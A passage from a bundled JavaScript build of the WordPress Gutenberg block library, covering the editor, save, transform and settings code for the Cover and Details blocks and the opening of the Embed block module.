    const innerBlocksTemplate = getInnerBlocksTemplate({
      fontSize: hasFontSizes ? "large" : void 0
    });
    const innerBlocksProps = (0, import_block_editor67.useInnerBlocksProps)(
      {
        className: "wp-block-cover__inner-container"
      },
      {
        // Avoid template sync when the `templateLock` value is `all` or `contentOnly`.
        // See: https://github.com/WordPress/gutenberg/pull/45632
        template: !hasInnerBlocks ? innerBlocksTemplate : void 0,
        templateInsertUpdatesSelection: true,
        allowedBlocks,
        templateLock,
        dropZoneElement: ref.current
      }
    );
    const mediaElement = (0, import_element24.useRef)();
    const currentSettings = {
      isVideoBackground,
      isImageBackground,
      mediaElement,
      hasInnerBlocks,
      url,
      isImgElement,
      overlayColor
    };
    const toggleUseFeaturedImage = async () => {
      const newUseFeaturedImage = !useFeaturedImage;
      const averageBackgroundColor = newUseFeaturedImage ? await getMediaColor(mediaUrl) : DEFAULT_BACKGROUND_COLOR;
      const { attributes: currentAttrs, overlayColor: currentOverlay } = propsRef.current;
      const newOverlayColor = !currentAttrs.isUserOverlayColor ? averageBackgroundColor : currentOverlay.color;
      if (!currentAttrs.isUserOverlayColor) {
        if (newUseFeaturedImage) {
          setOverlayColor(newOverlayColor);
        } else {
          setOverlayColor(void 0);
        }
        __unstableMarkNextChangeAsNotPersistent();
      }
      const newDimRatio = currentAttrs.dimRatio === 100 ? 50 : currentAttrs.dimRatio;
      const newIsDark = compositeIsDark(
        newDimRatio,
        newOverlayColor,
        averageBackgroundColor
      );
      setAttributes({
        id: void 0,
        url: void 0,
        useFeaturedImage: newUseFeaturedImage,
        dimRatio: newDimRatio,
        backgroundType: useFeaturedImage ? IMAGE_BACKGROUND_TYPE : void 0,
        isDark: newIsDark
      });
    };
    const blockControls = /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
      CoverBlockControls,
      {
        attributes: attributes2,
        setAttributes,
        onSelectMedia,
        onSelectEmbedUrl,
        currentSettings,
        toggleUseFeaturedImage,
        onClearMedia,
        blockEditingMode
      }
    );
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
      CoverInspectorControls,
      {
        attributes: attributes2,
        setAttributes,
        clientId,
        setOverlayColor: onSetOverlayColor,
        coverRef: ref,
        currentSettings,
        toggleUseFeaturedImage,
        updateDimRatio: onUpdateDimRatio,
        onClearMedia,
        featuredImage: media
      }
    );
    const resizableCoverProps = {
      className: "block-library-cover__resize-container",
      clientId,
      height,
      minHeight: minHeightWithUnit,
      onResizeStart: () => {
        setAttributes({ minHeightUnit: "px" });
        toggleSelection(false);
      },
      onResize: (value) => {
        setAttributes({ minHeight: value });
      },
      onResizeStop: (newMinHeight) => {
        toggleSelection(true);
        setAttributes({ minHeight: newMinHeight });
      },
      // Hide the resize handle if an aspect ratio is set, as the aspect ratio takes precedence.
      showHandle: !attributes2.style?.dimensions?.aspectRatio,
      size: resizableBoxDimensions,
      width
    };
    if (!useFeaturedImage && !hasInnerBlocks && !hasBackground) {
      return /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(import_jsx_runtime225.Fragment, { children: [
        blockControls,
        inspectorControls,
        hasNonContentControls && isSelected && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(ResizableCoverPopover, { ...resizableCoverProps }),
        /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(
          TagName2,
          {
            ...blockProps,
            className: clsx_default("is-placeholder", blockProps.className),
            style: {
              ...blockProps.style,
              minHeight: minHeightWithUnit || void 0
            },
            children: [
              resizeListener,
              /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
                CoverPlaceholder,
                {
                  onSelectMedia,
                  onError: onUploadError,
                  toggleUseFeaturedImage,
                  children: /* @__PURE__ */ (0, import_jsx_runtime225.jsx)("div", { className: "wp-block-cover__placeholder-background-options", children: /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
                    import_block_editor67.ColorPalette,
                    {
                      disableCustomColors: true,
                      value: overlayColor.color,
                      onChange: onSetOverlayColor,
                      clearable: false,
                      asButtons: true,
                      "aria-label": (0, import_i18n52.__)("Overlay color")
                    }
                  ) })
                }
              )
            ]
          }
        )
      ] });
    }
    const classes = clsx_default(
      {
        "is-dark-theme": isDark2,
        "is-light": !isDark2,
        "is-transient": isUploadingMedia,
        "has-parallax": hasParallax,
        "is-repeated": isRepeated,
        "has-custom-content-position": !isContentPositionCenter(contentPosition)
      },
      getPositionClassName(contentPosition)
    );
    const showOverlay = url || !useFeaturedImage || useFeaturedImage && !url;
    return /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(import_jsx_runtime225.Fragment, { children: [
      blockControls,
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)(
        TagName2,
        {
          ...blockProps,
          className: clsx_default(classes, blockProps.className),
          style: { ...style2, ...blockProps.style },
          "data-url": url,
          children: [
            resizeListener,
            !url && useFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              import_components34.Placeholder,
              {
                className: "wp-block-cover__image--placeholder-image",
                withIllustration: true
              }
            ),
            url && isImageBackground && (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              "img",
              {
                ref: mediaElement,
                className: "wp-block-cover__image-background",
                alt,
                src: url,
                style: mediaStyle
              }
            ) : /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              "div",
              {
                ref: mediaElement,
                role: alt ? "img" : void 0,
                "aria-label": alt ? alt : void 0,
                className: clsx_default(
                  classes,
                  "wp-block-cover__image-background"
                ),
                style: { backgroundImage, backgroundPosition }
              }
            )),
            url && isVideoBackground && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              "video",
              {
                ref: mediaElement,
                className: "wp-block-cover__video-background",
                autoPlay: true,
                muted: true,
                loop: true,
                src: url,
                poster,
                style: mediaStyle
              }
            ),
            isEmbedVideoBackground && embedHtml && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              "div",
              {
                ref: mediaElement,
                className: "wp-block-cover__video-background wp-block-cover__embed-background",
                style: mediaStyle,
                children: /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
                  import_components34.SandBox,
                  {
                    allowSameOrigin: true,
                    html: embedHtml,
                    title: "Background video",
                    styles: [
                      "iframe{position:fixed;top:0;left:0;width:100%;height:100%;}"
                    ]
                  }
                )
              }
            ),
            isEmbedVideoBackground && !embedHtml && isFetchingEmbed && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(import_components34.Spinner, {}),
            showOverlay && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              "span",
              {
                "aria-hidden": "true",
                className: clsx_default(
                  "wp-block-cover__background",
                  dimRatioToClass(dimRatio),
                  {
                    [overlayColor.class]: overlayColor.class,
                    "has-background-dim": dimRatio !== void 0,
                    // For backwards compatibility. Former versions of the Cover Block applied
                    // `.wp-block-cover__gradient-background` in the presence of
                    // media, a gradient and a dim.
                    "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                    "has-background-gradient": gradientValue,
                    [gradientClass]: gradientClass
                  }
                ),
                style: { backgroundImage: gradientValue, ...bgStyle }
              }
            ),
            isUploadingMedia && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(import_components34.Spinner, {}),
            /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
              CoverPlaceholder,
              {
                disableMediaButtons: true,
                onSelectMedia,
                onError: onUploadError,
                toggleUseFeaturedImage
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime225.jsx)("div", { ...innerBlocksProps })
          ]
        }
      ),
      hasNonContentControls && isSelected && /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(ResizableCoverPopover, { ...resizableCoverProps })
    ] });
  }
  var edit_default7 = (0, import_compose17.compose)([
    (0, import_block_editor67.withColors)({ overlayColor: "background-color" })
  ])(CoverEdit);

  // packages/block-library/build-module/cover/block.json
  var block_default31 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/cover",
    title: "Cover",
    category: "media",
    description: "Add an image or video with a text overlay.",
    textdomain: "default",
    attributes: {
      url: {
        type: "string",
        role: "content"
      },
      useFeaturedImage: {
        type: "boolean",
        default: false
      },
      id: {
        type: "number"
      },
      alt: {
        type: "string",
        default: ""
      },
      hasParallax: {
        type: "boolean",
        default: false
      },
      isRepeated: {
        type: "boolean",
        default: false
      },
      dimRatio: {
        type: "number",
        default: 100
      },
      overlayColor: {
        type: "string"
      },
      customOverlayColor: {
        type: "string"
      },
      isUserOverlayColor: {
        type: "boolean"
      },
      backgroundType: {
        type: "string",
        default: "image"
      },
      focalPoint: {
        type: "object"
      },
      minHeight: {
        type: "number"
      },
      minHeightUnit: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      customGradient: {
        type: "string"
      },
      contentPosition: {
        type: "string"
      },
      isDark: {
        type: "boolean",
        default: true
      },
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false]
      },
      tagName: {
        type: "string",
        default: "div"
      },
      sizeSlug: {
        type: "string"
      },
      poster: {
        type: "string",
        source: "attribute",
        selector: "video",
        attribute: "poster"
      }
    },
    usesContext: ["postId", "postType"],
    supports: {
      anchor: true,
      align: true,
      html: false,
      shadow: true,
      spacing: {
        padding: true,
        margin: ["top", "bottom"],
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      color: {
        heading: true,
        text: true,
        background: false,
        __experimentalSkipSerialization: ["gradients"],
        enableContrastChecker: false
      },
      dimensions: {
        aspectRatio: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowJustification: false
      },
      interactivity: {
        clientNavigation: true
      },
      filter: {
        duotone: true
      },
      allowedBlocks: true
    },
    selectors: {
      filter: {
        duotone: ".wp-block-cover > .wp-block-cover__image-background, .wp-block-cover > .wp-block-cover__video-background"
      }
    },
    editorStyle: "wp-block-cover-editor",
    style: "wp-block-cover"
  };

  // packages/block-library/build-module/cover/save.mjs
  var import_block_editor68 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime226 = __toESM(require_jsx_runtime(), 1);
  function save14({ attributes: attributes2 }) {
    const {
      backgroundType,
      gradient,
      contentPosition,
      customGradient,
      customOverlayColor,
      dimRatio,
      focalPoint,
      useFeaturedImage,
      hasParallax,
      isDark: isDark2,
      isRepeated,
      overlayColor,
      url,
      alt,
      id,
      minHeight: minHeightProp,
      minHeightUnit,
      tagName: Tag,
      sizeSlug,
      poster
    } = attributes2;
    const overlayColorClass = (0, import_block_editor68.getColorClassName)(
      "background-color",
      overlayColor
    );
    const gradientClass = (0, import_block_editor68.__experimentalGetGradientClass)(gradient);
    const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
    const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
    const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
    const isEmbedVideoBackground = EMBED_VIDEO_BACKGROUND_TYPE === backgroundType;
    const isImgElement = !(hasParallax || isRepeated);
    const style2 = {
      minHeight: minHeight || void 0
    };
    const bgStyle = {
      backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
      background: customGradient ? customGradient : void 0
    };
    const objectPosition = (
      // prettier-ignore
      focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
    );
    const backgroundImage = url ? `url(${url})` : void 0;
    const backgroundPosition = mediaPosition(focalPoint);
    const classes = clsx_default(
      {
        "is-light": !isDark2,
        "has-parallax": hasParallax,
        "is-repeated": isRepeated,
        "has-custom-content-position": !isContentPositionCenter(contentPosition)
      },
      getPositionClassName(contentPosition)
    );
    const imgClasses = clsx_default(
      "wp-block-cover__image-background",
      id ? `wp-image-${id}` : null,
      {
        [`size-${sizeSlug}`]: sizeSlug,
        "has-parallax": hasParallax,
        "is-repeated": isRepeated
      }
    );
    const gradientValue = gradient || customGradient;
    return /* @__PURE__ */ (0, import_jsx_runtime226.jsxs)(Tag, { ...import_block_editor68.useBlockProps.save({ className: classes, style: style2 }), children: [
      !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        "img",
        {
          className: imgClasses,
          alt,
          src: url,
          style: { objectPosition },
          "data-object-fit": "cover",
          "data-object-position": objectPosition
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        "div",
        {
          role: alt ? "img" : void 0,
          "aria-label": alt ? alt : void 0,
          className: imgClasses,
          style: { backgroundPosition, backgroundImage }
        }
      )),
      isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        "video",
        {
          className: clsx_default(
            "wp-block-cover__video-background",
            "intrinsic-ignore"
          ),
          autoPlay: true,
          muted: true,
          loop: true,
          playsInline: true,
          src: url,
          poster,
          style: { objectPosition },
          "data-object-fit": "cover",
          "data-object-position": objectPosition
        }
      ),
      isEmbedVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        "figure",
        {
          className: clsx_default(
            "wp-block-cover__video-background",
            "wp-block-cover__embed-background",
            "wp-block-embed"
          ),
          children: /* @__PURE__ */ (0, import_jsx_runtime226.jsx)("div", { className: "wp-block-embed__wrapper", children: url })
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        "span",
        {
          "aria-hidden": "true",
          className: clsx_default(
            "wp-block-cover__background",
            overlayColorClass,
            dimRatioToClass(dimRatio),
            {
              "has-background-dim": dimRatio !== void 0,
              // For backwards compatibility. Former versions of the Cover Block applied
              // `.wp-block-cover__gradient-background` in the presence of
              // media, a gradient and a dim.
              "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
              "has-background-gradient": gradientValue,
              [gradientClass]: gradientClass
            }
          ),
          style: bgStyle
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        "div",
        {
          ...import_block_editor68.useInnerBlocksProps.save({
            className: "wp-block-cover__inner-container"
          })
        }
      )
    ] });
  }

  // packages/block-library/build-module/cover/transforms.mjs
  var import_blocks22 = __toESM(require_blocks(), 1);
  var import_block_editor69 = __toESM(require_block_editor(), 1);
  var { cleanEmptyObject: cleanEmptyObject4 } = unlock(import_block_editor69.privateApis);
  var transforms6 = {
    from: [
      {
        type: "block",
        blocks: ["core/image"],
        transform: ({ caption, url, alt, align, id, anchor, style: style2 }) => (0, import_blocks22.createBlock)(
          "core/cover",
          {
            dimRatio: 50,
            url,
            alt,
            align,
            id,
            anchor,
            style: {
              color: {
                duotone: style2?.color?.duotone
              }
            }
          },
          [
            (0, import_blocks22.createBlock)("core/paragraph", {
              content: caption,
              fontSize: "large",
              style: {
                typography: {
                  textAlign: "center"
                }
              }
            })
          ]
        )
      },
      {
        type: "block",
        blocks: ["core/video"],
        transform: ({ caption, src, align, id, anchor }) => (0, import_blocks22.createBlock)(
          "core/cover",
          {
            dimRatio: 50,
            url: src,
            align,
            id,
            backgroundType: VIDEO_BACKGROUND_TYPE,
            anchor
          },
          [
            (0, import_blocks22.createBlock)("core/paragraph", {
              content: caption,
              fontSize: "large",
              style: {
                typography: {
                  textAlign: "center"
                }
              }
            })
          ]
        )
      },
      {
        type: "block",
        blocks: ["core/group"],
        transform: (attributes2, innerBlocks) => {
          const { align, anchor, backgroundColor, gradient, style: style2 } = attributes2;
          if (innerBlocks?.length === 1 && innerBlocks[0]?.name === "core/cover") {
            return (0, import_blocks22.createBlock)(
              "core/cover",
              innerBlocks[0].attributes,
              innerBlocks[0].innerBlocks
            );
          }
          const dimRatio = backgroundColor || gradient || style2?.color?.background || style2?.color?.gradient ? void 0 : 50;
          const parentAttributes = {
            align,
            anchor,
            dimRatio,
            overlayColor: backgroundColor,
            customOverlayColor: style2?.color?.background,
            gradient,
            customGradient: style2?.color?.gradient
          };
          const attributesWithoutBackgroundColors = {
            ...attributes2,
            backgroundColor: void 0,
            gradient: void 0,
            style: cleanEmptyObject4({
              ...attributes2?.style,
              color: style2?.color ? {
                ...style2?.color,
                background: void 0,
                gradient: void 0
              } : void 0
            })
          };
          return (0, import_blocks22.createBlock)("core/cover", parentAttributes, [
            (0, import_blocks22.createBlock)(
              "core/group",
              attributesWithoutBackgroundColors,
              innerBlocks
            )
          ]);
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/image"],
        isMatch: ({
          backgroundType,
          url,
          overlayColor,
          customOverlayColor,
          gradient,
          customGradient
        }) => {
          if (url) {
            return backgroundType === IMAGE_BACKGROUND_TYPE;
          }
          return !overlayColor && !customOverlayColor && !gradient && !customGradient;
        },
        transform: ({ title, url, alt, align, id, anchor, style: style2 }) => (0, import_blocks22.createBlock)("core/image", {
          caption: title,
          url,
          alt,
          align,
          id,
          anchor,
          style: {
            color: {
              duotone: style2?.color?.duotone
            }
          }
        })
      },
      {
        type: "block",
        blocks: ["core/video"],
        isMatch: ({
          backgroundType,
          url,
          overlayColor,
          customOverlayColor,
          gradient,
          customGradient
        }) => {
          if (url) {
            return backgroundType === VIDEO_BACKGROUND_TYPE;
          }
          return !overlayColor && !customOverlayColor && !gradient && !customGradient;
        },
        transform: ({ title, url, align, id, anchor }) => (0, import_blocks22.createBlock)("core/video", {
          caption: title,
          src: url,
          id,
          align,
          anchor
        })
      },
      {
        type: "block",
        blocks: ["core/group"],
        isMatch: ({ url, useFeaturedImage }) => {
          if (url || useFeaturedImage) {
            return false;
          }
          return true;
        },
        transform: (attributes2, innerBlocks) => {
          const transformedColorAttributes = {
            backgroundColor: attributes2?.overlayColor,
            gradient: attributes2?.gradient,
            style: cleanEmptyObject4({
              ...attributes2?.style,
              color: attributes2?.customOverlayColor || attributes2?.customGradient || attributes2?.style?.color ? {
                background: attributes2?.customOverlayColor,
                gradient: attributes2?.customGradient,
                ...attributes2?.style?.color
              } : void 0
            })
          };
          if (innerBlocks?.length === 1 && innerBlocks[0]?.name === "core/group") {
            const groupAttributes = cleanEmptyObject4(
              innerBlocks[0].attributes || {}
            );
            if (groupAttributes?.backgroundColor || groupAttributes?.gradient || groupAttributes?.style?.color?.background || groupAttributes?.style?.color?.gradient) {
              return (0, import_blocks22.createBlock)(
                "core/group",
                groupAttributes,
                innerBlocks[0]?.innerBlocks
              );
            }
            return (0, import_blocks22.createBlock)(
              "core/group",
              {
                ...transformedColorAttributes,
                ...groupAttributes,
                style: cleanEmptyObject4({
                  ...groupAttributes?.style,
                  color: transformedColorAttributes?.style?.color || groupAttributes?.style?.color ? {
                    ...transformedColorAttributes?.style?.color,
                    ...groupAttributes?.style?.color
                  } : void 0
                })
              },
              innerBlocks[0]?.innerBlocks
            );
          }
          return (0, import_blocks22.createBlock)(
            "core/group",
            { ...attributes2, ...transformedColorAttributes },
            innerBlocks
          );
        }
      }
    ]
  };
  var transforms_default6 = transforms6;

  // packages/block-library/build-module/cover/variations.mjs
  var import_i18n53 = __toESM(require_i18n(), 1);
  var variations3 = [
    {
      name: "cover",
      title: (0, import_i18n53.__)("Cover"),
      description: (0, import_i18n53.__)("Add an image or video with a text overlay."),
      attributes: { layout: { type: "constrained" } },
      isDefault: true,
      icon: cover_default
    }
  ];
  var variations_default3 = variations3;

  // packages/block-library/build-module/cover/index.mjs
  var { fieldsKey: fieldsKey4, formKey: formKey4 } = unlock(import_blocks23.privateApis);
  var { name: name30 } = block_default31;
  var settings30 = {
    icon: cover_default,
    example: {
      attributes: {
        customOverlayColor: "#065174",
        dimRatio: 40,
        url: "https://s.w.org/images/core/5.3/Windbuchencom.jpg",
        style: {
          typography: {
            fontSize: 48
          },
          color: {
            text: "white"
          }
        }
      },
      innerBlocks: [
        {
          name: "core/paragraph",
          attributes: {
            content: `<strong>${(0, import_i18n54.__)("Snow Patrol")}</strong>`,
            style: {
              typography: {
                textAlign: "center"
              }
            }
          }
        }
      ]
    },
    transforms: transforms_default6,
    save: save14,
    edit: edit_default7,
    deprecated: deprecated_default14,
    variations: variations_default3
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings30[fieldsKey4] = [
      {
        id: "background",
        label: (0, import_i18n54.__)("Background"),
        type: "media",
        Edit: {
          control: "media",
          // TODO: replace with custom component
          // TODO - How to support custom gradient?
          // Build it into Media, or use a custom control?
          allowedTypes: ["image", "video"],
          multiple: false,
          useFeaturedImage: true
        },
        getValue: ({ item }) => ({
          id: item.id,
          url: item.url,
          alt: item.alt,
          mediaType: item.backgroundType,
          featuredImage: item.useFeaturedImage
        }),
        setValue: ({ value }) => ({
          id: value.id,
          url: value.url,
          alt: value.alt,
          mediaType: value.backgroundType,
          useFeaturedImage: value.featuredImage
        })
      }
    ];
    settings30[formKey4] = {
      fields: ["background"]
    };
  }
  var init30 = () => initBlock({ name: name30, metadata: block_default31, settings: settings30 });

  // packages/block-library/build-module/details/index.mjs
  var details_exports = {};
  __export(details_exports, {
    init: () => init31,
    metadata: () => block_default32,
    name: () => name31,
    settings: () => settings31
  });
  var import_i18n56 = __toESM(require_i18n(), 1);
  var import_blocks25 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/details/block.json
  var block_default32 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/details",
    title: "Details",
    category: "text",
    description: "Hide and show additional content.",
    keywords: ["summary", "toggle", "disclosure"],
    textdomain: "default",
    attributes: {
      showContent: {
        type: "boolean",
        default: false
      },
      summary: {
        type: "rich-text",
        source: "rich-text",
        selector: "summary",
        role: "content"
      },
      name: {
        type: "string",
        source: "attribute",
        attribute: "name",
        selector: ".wp-block-details"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      __experimentalOnEnter: true,
      align: ["wide", "full"],
      anchor: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __experimentalBorder: {
        color: true,
        width: true,
        style: true
      },
      html: false,
      spacing: {
        margin: true,
        padding: true,
        blockGap: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowEditing: false
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    editorStyle: "wp-block-details-editor",
    style: "wp-block-details"
  };

  // packages/block-library/build-module/details/edit.mjs
  var import_block_editor70 = __toESM(require_block_editor(), 1);
  var import_components35 = __toESM(require_components(), 1);
  var import_i18n55 = __toESM(require_i18n(), 1);
  var import_element25 = __toESM(require_element(), 1);
  var import_data31 = __toESM(require_data(), 1);
  var import_jsx_runtime227 = __toESM(require_jsx_runtime(), 1);
  var { withIgnoreIMEEvents } = unlock(import_components35.privateApis);
  var TEMPLATE5 = [
    [
      "core/paragraph",
      {
        placeholder: (0, import_i18n55.__)("Type / to add a hidden block")
      }
    ]
  ];
  function DetailsEdit({ attributes: attributes2, setAttributes, clientId }) {
    const { name: name123, showContent, summary, allowedBlocks, placeholder: placeholder2 } = attributes2;
    const blockProps = (0, import_block_editor70.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor70.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE5,
      __experimentalCaptureToolbars: true,
      allowedBlocks
    });
    const [isOpen, setIsOpen] = (0, import_element25.useState)(showContent);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const hasSelectedInnerBlock = (0, import_data31.useSelect)(
      (select9) => select9(import_block_editor70.store).hasSelectedInnerBlock(clientId, true),
      [clientId]
    );
    const handleSummaryKeyDown = (event) => {
      if (event.key === "Enter" && !event.shiftKey) {
        setIsOpen((prevIsOpen) => !prevIsOpen);
        event.preventDefault();
      }
    };
    const handleSummaryKeyUp = (event) => {
      if (event.key === " ") {
        event.preventDefault();
      }
    };
    return /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(import_jsx_runtime227.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(import_block_editor70.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
        import_components35.__experimentalToolsPanel,
        {
          label: (0, import_i18n55.__)("Settings"),
          resetAll: () => {
            setAttributes({
              showContent: false
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
            import_components35.__experimentalToolsPanelItem,
            {
              isShownByDefault: true,
              label: (0, import_i18n55.__)("Open by default"),
              hasValue: () => showContent,
              onDeselect: () => {
                setAttributes({
                  showContent: false
                });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
                import_components35.ToggleControl,
                {
                  label: (0, import_i18n55.__)("Open by default"),
                  checked: showContent,
                  onChange: () => setAttributes({
                    showContent: !showContent
                  })
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(import_block_editor70.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
        import_components35.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n55.__)("Name attribute"),
          value: name123 || "",
          onChange: (newName) => setAttributes({ name: newName }),
          help: (0, import_i18n55.__)(
            "Enables multiple Details blocks with the same name attribute to be connected, with only one open at a time."
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(
        "details",
        {
          ...innerBlocksProps,
          open: isOpen || hasSelectedInnerBlock,
          onToggle: (event) => setIsOpen(event.target.open),
          name: name123 || "",
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
              "summary",
              {
                onKeyDown: withIgnoreIMEEvents(handleSummaryKeyDown),
                onKeyUp: handleSummaryKeyUp,
                children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
                  import_block_editor70.RichText,
                  {
                    identifier: "summary",
                    "aria-label": (0, import_i18n55.__)(
                      "Write summary. Press Enter to expand or collapse the details."
                    ),
                    placeholder: placeholder2 || (0, import_i18n55.__)("Write summary\u2026"),
                    withoutInteractiveFormatting: true,
                    value: summary,
                    onChange: (newSummary) => setAttributes({ summary: newSummary })
                  }
                )
              }
            ),
            innerBlocksProps.children
          ]
        }
      )
    ] });
  }
  var edit_default8 = DetailsEdit;

  // packages/block-library/build-module/details/save.mjs
  var import_block_editor71 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime228 = __toESM(require_jsx_runtime(), 1);
  function save15({ attributes: attributes2 }) {
    const { name: name123, showContent } = attributes2;
    const summary = attributes2.summary ? attributes2.summary : "Details";
    const blockProps = import_block_editor71.useBlockProps.save();
    return /* @__PURE__ */ (0, import_jsx_runtime228.jsxs)(
      "details",
      {
        ...blockProps,
        name: name123 || void 0,
        open: showContent,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime228.jsx)("summary", { children: /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(import_block_editor71.RichText.Content, { value: summary }) }),
          /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(import_block_editor71.InnerBlocks.Content, {})
        ]
      }
    );
  }

  // packages/block-library/build-module/details/transforms.mjs
  var import_blocks24 = __toESM(require_blocks(), 1);
  var transforms_default7 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["*"],
        isMatch({}, blocks) {
          return !(blocks.length === 1 && blocks[0].name === "core/details");
        },
        __experimentalConvert(blocks) {
          return (0, import_blocks24.createBlock)(
            "core/details",
            {},
            blocks.map((block) => (0, import_blocks24.cloneBlock)(block))
          );
        }
      }
    ]
  };

  // packages/block-library/build-module/details/index.mjs
  var { fieldsKey: fieldsKey5, formKey: formKey5 } = unlock(import_blocks25.privateApis);
  var { name: name31 } = block_default32;
  var settings31 = {
    icon: details_default,
    example: {
      attributes: {
        summary: (0, import_i18n56.__)("La Mancha"),
        showContent: true
      },
      innerBlocks: [
        {
          name: "core/paragraph",
          attributes: {
            content: (0, import_i18n56.__)(
              "In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."
            )
          }
        }
      ]
    },
    __experimentalLabel(attributes2, { context }) {
      const { summary } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasSummary = summary?.trim().length > 0;
      if (context === "list-view" && (customName || hasSummary)) {
        return customName || summary;
      }
      if (context === "breadcrumb" && customName) {
        return customName;
      }
      if (context === "accessibility") {
        return !hasSummary ? (0, import_i18n56.__)("Details. Empty.") : (0, import_i18n56.sprintf)(
          /* translators: %s: accessibility text; summary title. */
          (0, import_i18n56.__)("Details. %s"),
          summary
        );
      }
    },
    save: save15,
    edit: edit_default8,
    transforms: transforms_default7
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings31[fieldsKey5] = [
      {
        id: "summary",
        label: (0, import_i18n56.__)("Summary"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings31[formKey5] = {
      fields: ["summary"]
    };
  }
  var init31 = () => initBlock({ name: name31, metadata: block_default32, settings: settings31 });

  // packages/block-library/build-module/embed/index.mjs
  var embed_exports = {};
  __export(embed_exports, {
    init: () => init32,
    metadata: () => block_default7,
    name: () => name32,
    settings: () => settings32
  });

  // packages/block-library/build-module/embed/embed-controls.mjs
  var import_i18n57 = __toESM(require_i18n(), 1);
